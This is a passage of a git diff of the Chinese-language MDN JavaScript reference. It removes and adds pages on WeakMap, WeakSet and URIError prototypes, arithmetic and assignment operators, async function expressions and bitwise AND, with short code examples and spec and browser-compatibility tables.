{{jsxref("Error.prototype.stack", "URIError.prototype.stack")}}
-
堆栈记录。继承自 {{jsxref("Error")}}。
-
- -

方法

- -

虽然 {{jsxref("URIError")}} 的原型对象自身不包含任何方法,但是 {{jsxref("URIError")}} 的实例通过原型链(prototype chain)继承了一些方法。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}} 初始定义
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} 定义为 NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}} 定义为NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}} 定义为NativeError.prototype.
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.URIError")}}

-
- -

相关链接

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html deleted file mode 100644 index 27f1ff412a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/weakmap/prototype/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: WeakMap.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap -translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype ---- -
{{JSRef}}
- -

WeakMap.prototype属性表现为 {{jsxref("WeakMap")}}的构造器。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("WeakMap")}} 实例从 {{jsxref("WeakMap.prototype")}}继承了所有属性。你可以在WeakMap构造器中添加属性和方法,从而使得所有实例中都有效。

- -

WeakMap.prototype 本身只是一个普通的对象:

- -
Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"
- -

属性

- -
-
WeakMap.prototype.constructor
-
返回创建WeakMap实例的原型函数。 {{jsxref("WeakMap")}}函数是默认的。
-
- -

方法

- -
-
{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}
-
移除key的关联对象。执行后 WeakMap.prototype.has(key)返回false。
-
{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}
-
返回key关联对象, 或者 undefined(没有key关联对象时)。
-
{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}
-
根据是否有key关联对象返回一个Boolean值。
-
{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}
-
在WeakMap中设置一组key关联对象,返回这个 WeakMap对象。
-
{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}
-
WeakMap中移除所有的 key/value 。 注意,该方法已弃用,但可以通过创建一个空的WeakMap并替换原对象来实现 (参看 {{jsxref("WeakMap")}}的后半部分)
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support36{{CompatGeckoDesktop("6.0")}}11237.1
Ordinary object{{CompatUnknown}}{{CompatGeckoDesktop("40")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("6.0")}}{{CompatNo}}{{CompatNo}}8
Ordinary object{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("40")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另请参阅

- -
    -
  • {{jsxref("Map.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html deleted file mode 100644 index 572ab1ac73..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/weakset/prototype/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: WeakSet.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet -translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype ---- -
{{JSRef("Global_Objects", "WeakSet")}}
- -

Summary

- -

The WeakSet.prototype property represents the prototype for the {{jsxref("WeakSet")}} constructor.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

{{jsxref("WeakSet")}} instances inherit from {{jsxref("WeakSet.prototype")}}. You can use the constructor's prototype object to add properties or methods to all WeakSet instances.

- -

Properties

- -
-
WeakSet.prototype.constructor
-
返回构造函数即 {{jsxref("WeakSet")}} 本身.
-
- -

Methods

- -
-
{{jsxref("WeakSet.add", "WeakSet.prototype.add(value)")}}
-
 在该 WeakSet 对象中添加一个新元素 value.
-
{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(value)")}}
-
该 WeakSet 对象中删除 value 这个元素, 之后 WeakSet.prototype.has(value) 方法便会返回 false.
-
{{jsxref("WeakSet.has", "WeakSet.prototype.has(value)")}}
-
返回一个布尔值,  表示给定的值 value 是否存在于这个 WeakSet 中.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-weakset.prototype', 'WeakSet.prototype')}}{{Spec2('ES6')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatNo() }} {{bug(792439)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }} {{bug(792439)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

Chrome-specific notes

- -
    -
  • This feature is available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.
  • -
- -

See also

- -
    -
  • {{jsxref("Set.prototype")}}
  • -
  • {{jsxref("WeakMap.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/operators/addition/index.html b/files/zh-cn/web/javascript/reference/operators/addition/index.html new file mode 100644 index 0000000000..6da432b4e6 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/addition/index.html @@ -0,0 +1,79 @@ +--- +title: 相加运算符 (+) +slug: Web/JavaScript/Reference/Operators/相加 +translation_of: Web/JavaScript/Reference/Operators/Addition +--- +
{{jsSidebar("相加运算符")}}
+ +

相加运算符 (+) 用于对两个操作数进行相加运算,如果操作数为字符串则该运算符将两个操作数连接成一个字符串。

+ +
{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
+ +
+ + + +

语法

+ +
表达式: x + y
+
+ +

示例

+ +

数字的相加运算

+ +
// Number + Number -> addition
+1 + 2 // 3
+
+// Boolean + Number -> addition
+true + 1 // 2
+
+// Boolean + Boolean -> addition
+false + false // 0
+
+ +

字符串相加运算

+ +
// String + String -> concatenation
+'foo' + 'bar' // "foobar"
+
+// Number + String -> concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -> concatenation
+'foo' + false // "foofalse"
+ +

注: '+'两侧只要有一侧是字符串,另一侧的数字则会自动转换成字符串,因为其中存在隐式转换

+ +

规范

+ + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.addition")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html b/files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html deleted file mode 100644 index 917ac03b06..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/arithmetic_operators/index.html +++ /dev/null @@ -1,302 +0,0 @@ ---- -title: 算术运算符 -slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators ---- -
{{jsSidebar("Operators")}}
- -

算术运算符以数值(字面量或变量)作为其操作数,并返回一个单个数值。标准算术运算符是加法(+),减法(-),乘法(*)和除法(/)。

- -
{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}
- - - -

加法 (+)

- -

加法运算符的作用是数值求和,或者字符串拼接。

- -

语法

- -
运算符: x + y
-
- -

示例

- -
// Number + Number -> 数字相加
-1 + 2 // 3
-
-// Boolean + Number -> 数字相加
-true + 1 // 2
-
-// Boolean + Boolean -> 数字相加
-false + false // 0
-
-// Number + String -> 字符串连接
-5 + "foo" // "5foo"
-
-// String + Boolean -> 字符串连接
-"foo" + false // "foofalse"
-
-// String + String -> 字符串连接
-"foo" + "bar" // "foobar"
-
- -

减法 (-)

- -

减法运算符使两个操作数相减,结果是它们的差值。

- -

语法

- -
运算符: x - y
-
- -

示例

- -
5 - 3 // 2
-3 - 5 // -2
-"foo" - 3 // NaN
- -

除法 (/)

- -

除法运算符的结果是操作数的商 ,左操作数是被除数,右操作数是除数。

- -

语法

- -
运算符: x / y
-
- -

示例

- -
1 / 2      // 在 JavaScript 中返回 0.5
-1 / 2      // 在 Java 中返回 0
-// (不需要数字是明确的浮点数)
-
-1.0 / 2.0  // 在 JavaScript 或 Java 中都返回 0.5
-
-2.0 / 0    // 在 JavaScript 中返回 Infinity
-2.0 / 0.0  // 同样返回 Infinity
-2.0 / -0.0 // 在 JavaScript 中返回 -Infinity
- -

乘法 (*)

- -

乘法运算符的结果是操作数的乘积。

- -

语法

- -
运算符: x * y
-
- -

示例

- -
2 * 2 // 4
--2 * 2 // -4
-Infinity * 0 // NaN
-Infinity * Infinity // Infinity
-"foo" * 2 // NaN
-
- -

求余 (%)

- -

求余运算符返回第一个操作数对第二个操作数的模,即 var1 对 var2 取模,其中 var1 和 var2 是变量。取模功能就是 var1 除以 var2 的整型余数。

- -

语法

- -
运算符: var1 % var2
-
- -

示例

- -
12 % 5 // 2
--1 % 2 // -1
-NaN % 2 // NaN
-1 % 2 // 1
-2 % 3 // 2
--4 % 2 // -0
-5.5 % 2 // 1.5
-
- -

幂 (**)

- -

幂运算符返回第一个操作数做底数,第二个操作数做指数的乘方。即,var1var2,其中 var1var2 是其两个操作数。幂运算符是右结合的。a ** b ** c 等同于 a ** (b ** c)

- -

语法

- -
运算符: var1 ** var2
-
- -

注解

- -

包括 PHP 或 Python 等的大多数语言中,都包含幂运算符(一般来说符号是 ^ 或者 **)。这些语言中的幂运算符有着比其他的单目运算符(如一元 + 或一元 - )更高的优先级。但是作为例外,在 Bash 中,**  运算符被设计为比单目运算符优先级更低。在最新的 JavaScript(ES2016) 中,禁止使用带歧义的幂运算表达式。比如,底数前不能紧跟一元运算符(+/-/~/!/delete/void/typeof)。

- -
-2 ** 2;
-// 在 Bash 中等于 4 ,而在其他语言中一般等于 -4
-// 在 JavaScript 中是错误的,因为这会有歧义
-
--(2 ** 2);
-// -4 在 JavaScript 中能够明显体现出作者的意图
- -

示例

- -
2 ** 3 // 8
-3 ** 2 // 9
-3 ** 2.5 // 15.588457268119896
-10 ** -1 // 0.1
-NaN ** 2 // NaN
-
-2 ** 3 ** 2 // 512
-2 ** (3 ** 2) // 512
-(2 ** 3) ** 2 // 64
-
- -

如果要反转求幂表达式结果的符号,你可以采用这样的方式:

- -
-(2 ** 2) // -4
- -

强制求幂表达式的基数为负数:

- -
(-2) ** 2 // 4
- -

递增 (++)

- -

递增运算符为其操作数增加1,返回一个数值。

- -
    -
  • 如果使用后置(postfix),即运算符位于操作数的后面(如 x++),那么将会在递增前返回数值。
  • -
  • 如果使用前置(prefix),即运算符位于操作数的前面(如 ++x),那么将会在递增后返回数值。
  • -
- -

语法

- -
运算符: x++ 或者 ++x
-
- -

示例

- -
// 后置
-var x = 3;
-y = x++;
-// y = 3, x = 4
-
-// 前置
-var a = 2;
-b = ++a;
-// a = 3, b = 3
-
- -

递减 (--)

- -

递减运算符将其操作数减去1,并返回一个数值。

- -
    -
  • 如果后置使用(如 x--),则在递减前返回数值。
  • -
  • 如果前置使用(如 --x),则在递减后返回数值。
  • -
- -

语法

- -
运算符: x-- or --x
-
- -

示例

- -
// 后置
-var x = 3;
-y = x--; // y = 3, x = 2
-
-// 前置
-var a = 2;
-b = --a; // a = 1, b = 1
-
- -

一元负号 (-)

- -

一元负号运算符位于操作数前面,并转换操作数的符号。

- -

语法

- -
运算符: -x
-
- -

示例

- -
var x = 3;
-y = -x; // y = -3, x = 3
-
- -

一元正号 (+)

- -

一元正号运算符位于其操作数前面,计算其操作数的数值,如果操作数不是一个数值,会尝试将其转换成一个数值。 尽管一元负号也能转换非数值类型,但是一元正号是转换其他对象到数值的最快方法,也是最推荐的做法,因为它不会对数值执行任何多余操作。它可以将字符串转换成整数和浮点数形式,也可以转换非字符串值 truefalse  null。小数和十六进制格式字符串也可以转换成数值。负数形式字符串也可以转换成数值(对于十六进制不适用)。如果它不能解析一个值,则计算结果为 NaN

- -

语法

- -
运算符: +x
-
- -

示例

- -
+3     // 3
-+"3"   // 3
-+true  // 1
-+false // 0
-+null  // 0
-+function(val){ return val;} //NaN
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-11.3')}}{{Spec2('ES5.1')}}Defined in several sections of the specification: Additive operators, Multiplicative operators, Postfix expressions, Unary operators.
{{SpecName('ES2015', '#sec-postfix-expressions')}}{{Spec2('ES2015')}}Defined in several sections of the specification: Additive operators, Multiplicative operators, Postfix expressions, Unary operators.
{{SpecName('ES2016', '#sec-postfix-expressions')}}{{Spec2('ES2016')}}Added Exponentiation operator.
{{SpecName('ES2017', '#sec-postfix-expressions')}}{{Spec2('ES2017')}}
{{SpecName('ESDraft', '#sec-additive-operators')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.arithmetic")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html b/files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html deleted file mode 100644 index 66ae471cde..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/assignment_operators/index.html +++ /dev/null @@ -1,413 +0,0 @@ ---- -title: 赋值运算符 -slug: Web/JavaScript/Reference/Operators/Assignment_Operators -tags: - - JavaScript - - 运算符 -translation_of: Web/JavaScript/Reference/Operators#Assignment_operators -translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators ---- -
{{jsSidebar("Operators")}}
- -

赋值运算符(assignment operator)基于右值(right operand)的值,给左值(left operand)赋值。

- -
{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}
- - - -

概述

- -

基本的赋值运算符是等号(=),该运算符把它右边的运算值赋给左边。即,x = y 把 y 的值赋给 x。 其他的赋值运算符通常是标准运算符的简写形式,如下面的定义与示例。 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
名称简写形式含义
赋值(Assignment)x = yx = y
加赋值(Addition assignment)x += yx = x + y
减赋值(Subtraction assignment)x -= yx = x - y
乘赋值(Multiplication assigment)x *= yx = x * y
除赋值(Division assignment)x /= yx = x / y
模赋值(Remainder assignment)x %= yx = x % y
指数赋值(Exponentiation assignment)x **= yx = x ** y
左移赋值(Left shift assignment)x <<= yx = x << y
右移赋值(Right shift assignment)x >>= yx = x >> y
无符号右移赋值(Unsigned right shift assignment)x >>>= yx = x >>> y
按位与赋值(Bitwise AND assignment)x &= yx = x & y
按位异或赋值(Bitwise XOR assignment)x ^= yx = x ^ y
按位或赋值(Bitwise OR assignment)x |= yx = x | y
- -

赋值

- -

简单的赋值运算符,把一个值赋给一个变量。为了把一个值赋给多个变量,可以以链式使用赋值运算符。参考下例:

- -

语法

- -
Operator: x = y
-
- -

示例

- -
// Assuming the following variables
-//  x = 5
-//  y = 10
-//  z = 25
-
-x = y     // x is 10
-x = y = z // x, y and z are all 25
-
- -

加赋值(Addition assignment)

- -

加赋值运算符把一个右值与一个变量相加,然后把相加的结果赋给该变量。两个操作数的类型决定了加赋值运算符的行为。算术相加或字符串连接都有可能。更多细节参考 {{jsxref("Operators/Arithmetic_Operators", "addition operator", "#Addition", 1)}}。

- -

语法

- -
Operator: x += y
-Meaning:  x  = x + y
-
- -

示例

- -
// 定义下列变量
-//  foo = 'foo'
-//  bar = 5
-//  baz = true
-
-
-// Number + Number -> addition
-bar += 2 // 7
-
-// Boolean + Number -> addition
-baz += 1 // 2
-
-// Boolean + Boolean -> addition
-baz += false // 1
-
-// Number + String -> concatenation
-bar += 'foo' // "5foo"
-
-// String + Boolean -> concatenation
-foo += false // "foofalse"
-
-// String + String -> concatenation
-foo += 'bar' // "foobar"
-
- -

减赋值(Subtraction assignment)

- -

减赋值运算符使一个变量减去右值,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "subtraction operator", "#Subtraction", 1)}} 。

- -

语法

- -
Operator: x -= y
-Meaning:  x  = x - y
-
- -

示例

- -
// 假定已定义了下面的变量
-//  bar = 5
-
-bar -= 2     // 3
-bar -= "foo" // NaN
-
- -

乘赋值(Multiplication assignment)

- -

乘赋值运算符使一个变量乘以右值,然后把相成的结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "multiplication operator", "#Multiplication", 1)}}。

- -

语法

- -
Operator: x *= y
-Meaning:  x  = x * y
-
- -

示例

- -
// 假定已定义了下面的变量
-//  bar = 5
-
-bar *= 2     // 10
-bar *= 'foo' // NaN
-
- -

除赋值(Division assignment)

- -

除赋值运算符使一个变量除以右值,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "division operator", "#Division", 1)}}。

- -

语法

- -
Operator: x /= y
-Meaning:  x  = x / y
-
- -

示例

- -
// 假定已定义了下面的变量
-//  bar = 5
-
-bar /= 2     // 2.5
-bar /= "foo" // NaN
-bar /= 0     // Infinity
-
- -

模赋值(Remainder assignment)

- -

模赋值运算符使一个变量除以右值,然后把余数赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "remainder operator", "#Remainder", 1)}}。

- -

语法

- -
Operator: x %= y
-Meaning:  x  = x % y
-
- -

示例

- -
// Assuming the following variable
-//  bar = 5
-
-bar %= 2     // 1
-bar %= 'foo' // NaN
-bar %= 0     // NaN
-
- -

指数赋值(Exponentiation assignment)

- -

指数赋值运算符使一个变量为底数、以右值为指数的指数运算(乘方)结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "算术运算符", "#Exponentiation", 1)}}。

- -

语法

- -
语法: x **= y
-含义:  x  = x ** y
-
- -

示例

- -
// Assuming the following variable
-//  bar = 5
-
-bar **= 2     // 25
-bar **= 'foo' // NaN
- -

左移赋值(Left shift assignment)

- -

左移赋值运算符使变量向左移动指定位数的比特位,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "left shift operator", "#Left_shift", 1)}}。

- -

语法

- -
Operator: x <<= y
-Meaning:  x   = x << y
-
- -

示例

- -
var bar = 5; //  (00000000000000000000000000000101)
-bar <<= 2; // 20 (00000000000000000000000000010100)
-
- -

右移赋值(Right shift assignment)

- -

右移赋值运算符使变量向右移指定位数的比特位,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "right shift operator", "#Right_shift", 1)}}。

- -

语法

- -
Operator: x >>= y
-Meaning:  x   = x >> y
-
- -

示例

- -
var bar = 5; //   (00000000000000000000000000000101)
-bar >>= 2;   // 1 (00000000000000000000000000000001)
-
-var bar = -5; //    (-00000000000000000000000000000101)
-bar >>= 2;  // -2 (-00000000000000000000000000000010)
-
- -

无符号右移赋值(Unsigned right shift assignment)

- -

无符号右移赋值运算符向右移动指定数量的比特位,然后把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", " unsigned right shift operator", "#Unsigned_right_shift", 1)}}。

- -

语法

- -
Operator: x >>>= y
-Meaning:  x    = x >>> y
-
- -

示例

- -
var bar = 5; //   (00000000000000000000000000000101)
-bar >>>= 2;  // 1 (00000000000000000000000000000001)
-
-var bar = -5; // (-00000000000000000000000000000101)
-bar >>>= 2; // 1073741822 (00111111111111111111111111111110)
- -

按位与赋值(Bitwise AND assignment)

- -

按位与赋值运算符使用两个操作值的二进制表示,执行按位与运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise AND operator", "#Bitwise_AND", 1)}}。

- -

语法

- -
Operator: x &= y
-Meaning:  x  = x & y
-
- -

示例

- -
var bar = 5;
-// 5:     00000000000000000000000000000101
-// 2:     00000000000000000000000000000010
-bar &= 2; // 0
-
- -

按位异或赋值(Bitwise XOR assignment)

- -

按位异或赋值运算符使用两个操作值的二进制表示,执行二进制异或运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise XOR operator", "#Bitwise_XOR", 1)}}。

- -

语法

- -
Operator: x ^= y
-Meaning:  x  = x ^ y
-
- -

示例

- -
var bar = 5;
-bar ^= 2; // 7
-// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-// -----------------------------------
-// 7: 00000000000000000000000000000111
-
- -

按位或赋值(Bitwise OR assignment)

- -

按位或赋值运算符使用两个操作值的二进制表示,执行按位或运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise OR operator", "#Bitwise_OR", 1)}}。

- -

语法

- -
Operator: x |= y
-Meaning:  x  = x | y
-
- -

示例

- -
var bar = 5;
-bar |= 2; // 7
-// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-// -----------------------------------
-// 7: 00000000000000000000000000000111
-
- -

示例

- -

带有赋值运算符的左值(Left operand)

- -

在某些不常见的情况下,赋值运算符(如 x += y)并不等同于表达式( x = x + y)。当一个赋值运算符的左值包含有一个赋值运算符时,左值只会被求值一次。例如:

- -
a[i++] += 5         // i 执行一次求值
-a[i++] = a[i++] + 5 // i 执行两次求值
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES1')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.assignment")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/operators/async_function/index.html b/files/zh-cn/web/javascript/reference/operators/async_function/index.html new file mode 100644 index 0000000000..eebfd13ca2 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/async_function/index.html @@ -0,0 +1,98 @@ +--- +title: async function expression +slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 +tags: + - JavaScript + - 函数 + - 基本表达式 + - 实验性内容 + - 操作符 +translation_of: Web/JavaScript/Reference/Operators/async_function +--- +
{{jsSidebar("Operators")}}
+ +
 
+ +

async function 关键字用来在表达式中定义异步函数。当然,你也可以用 {{jsxref('Statements/async_function', '异步函数语句')}} 来定义。

+ +

语法

+ +
async function [name]([param1[, param2[, ..., paramN]]]) { statements }
+ +

参数

+ +
+
name
+
此异步函数的名称,可省略。如果省略则这个函数将成为匿名函数。该名称仅可在本函数中使用。
+
paramN
+
传入函数的形参名称。
+
statements
+
组成函数体的语句。
+
+ +

描述

+ +

异步函数表达式与 {{jsxref('Statements/async_function', '异步函数语句')}} 非常相似,语法也基本相同。它们之间的主要区别在于异步函数表达式可以省略函数名称来创建一个匿名函数。另外,异步函数表达式还可以用在 {{Glossary("IIFE")}} (立即执行函数表达式,Immediately Invoked Function Expression) 中,更多信息见 {{jsxref('Reference/Functions', '函数')}}。

+ +

示例

+ +

一个简单例子

+ +
function resolveAfter2Seconds(x) {
+  return new Promise(resolve => {
+    setTimeout(() => {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+// async function expression assigned to a variable
+var add1 = async function(x) {
+  var a = await resolveAfter2Seconds(20);
+  var b = await resolveAfter2Seconds(30);
+  return x + a + b;
+}
+
+add1(10).then(v => {
+  console.log(v);  // 4 秒后打印 60
+});
+
+(async function(x) { // async function expression used as an IIFE
+  var p_a = resolveAfter2Seconds(20);
+  var p_b = resolveAfter2Seconds(30);
+  return x + await p_a + await p_b;
+})(10).then(v => {
+  console.log(v);  // 2 秒后打印 60
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}ES2017 中的初始定义
+ +

浏览器兼容性

+ +
{{Compat("javascript.operators.async_function_expression")}}
+ +

相关链接

+ +
    +
  • {{jsxref("Statements/async_function", "异步函数语句")}}
  • +
  • {{jsxref("AsyncFunction")}} 对象
  • +
  • {{jsxref("Operators/await", "await 操作符")}}
  • +
diff --git "a/files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" "b/files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" deleted file mode 100644 index eebfd13ca2..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: async function expression -slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 -tags: - - JavaScript - - 函数 - - 基本表达式 - - 实验性内容 - - 操作符 -translation_of: Web/JavaScript/Reference/Operators/async_function ---- -
{{jsSidebar("Operators")}}
- -
 
- -

async function 关键字用来在表达式中定义异步函数。当然,你也可以用 {{jsxref('Statements/async_function', '异步函数语句')}} 来定义。

- -

语法

- -
async function [name]([param1[, param2[, ..., paramN]]]) { statements }
- -

参数

- -
-
name
-
此异步函数的名称,可省略。如果省略则这个函数将成为匿名函数。该名称仅可在本函数中使用。
-
paramN
-
传入函数的形参名称。
-
statements
-
组成函数体的语句。
-
- -

描述

- -

异步函数表达式与 {{jsxref('Statements/async_function', '异步函数语句')}} 非常相似,语法也基本相同。它们之间的主要区别在于异步函数表达式可以省略函数名称来创建一个匿名函数。另外,异步函数表达式还可以用在 {{Glossary("IIFE")}} (立即执行函数表达式,Immediately Invoked Function Expression) 中,更多信息见 {{jsxref('Reference/Functions', '函数')}}。

- -

示例

- -

一个简单例子

- -
function resolveAfter2Seconds(x) {
-  return new Promise(resolve => {
-    setTimeout(() => {
-      resolve(x);
-    }, 2000);
-  });
-};
-
-// async function expression assigned to a variable
-var add1 = async function(x) {
-  var a = await resolveAfter2Seconds(20);
-  var b = await resolveAfter2Seconds(30);
-  return x + a + b;
-}
-
-add1(10).then(v => {
-  console.log(v);  // 4 秒后打印 60
-});
-
-(async function(x) { // async function expression used as an IIFE
-  var p_a = resolveAfter2Seconds(20);
-  var p_b = resolveAfter2Seconds(30);
-  return x + await p_a + await p_b;
-})(10).then(v => {
-  console.log(v);  // 2 秒后打印 60
-});
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}ES2017 中的初始定义
- -

浏览器兼容性

- -
{{Compat("javascript.operators.async_function_expression")}}
- -

相关链接

- -
    -
  • {{jsxref("Statements/async_function", "异步函数语句")}}
  • -
  • {{jsxref("AsyncFunction")}} 对象
  • -
  • {{jsxref("Operators/await", "await 操作符")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html new file mode 100644 index 0000000000..20eece2691 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html @@ -0,0 +1,106 @@ +--- +title: 按位与 (&) +slug: Web/JavaScript/Reference/Operators/按位与 +translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND +--- +
{{jsSidebar("Operators")}}
+ +

按位与运算符 (&) 在每个位上返回 1 ,这两个操作数对应的位都是 1.

+ +
{{EmbedInteractiveExample("pages/js/expressions-bitwise-and.html")}}
+ + + +

语法

+ +
